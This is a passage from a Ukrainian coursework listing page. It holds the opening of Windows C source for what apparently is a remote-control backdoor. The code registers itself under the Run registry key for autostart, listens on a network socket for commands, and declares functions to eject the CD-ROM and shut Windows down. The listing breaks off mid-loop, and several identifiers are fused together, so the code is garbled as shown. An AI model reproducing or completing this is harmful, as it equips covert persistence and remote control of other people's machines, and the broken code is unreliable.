Курсовая работа: Розвиток сучасних структур програмного забезпечення

#pragma comment (lib, "winmm.lib")

#define AutoStartTEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run") //додання до авторану

DWORD APIENTRY ClientThread(LPVOID);//прийняття повідомлення

DWORD APIENTRY NetThread(LPVOID);//прийняття сокета

VOID OpenCDROM();

VOID CloseCDROM();

VOID AutoRun();

VOID WindowsExit(UINT);

INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //Main прграми

{

AutoRun();

WSADATA wsaData;

int err = WSAStartup(MAKEWORD(2, 2), &wsaData);

if (err != 0)

return -1;

NetThread(NULL);

return 0;

}

DWORD WINAPI ClientThread(LPVOID lpParam) //прийняття повідомлення та подальше його опрацювання

{

SOCKETsock=(SOCKET)lpParam;

TCHARszRecvBuff[1024],szSendBuff[1024];

UINTret;

while(1)

{

ret = recv(sock, szRecvBuff, 1024, 0);

if (ret == 0)

break;

else if (ret == SOCKET_ERROR)

К-во Просмотров: 413
Бесплатно скачать Курсовая работа: Розвиток сучасних структур програмного забезпечення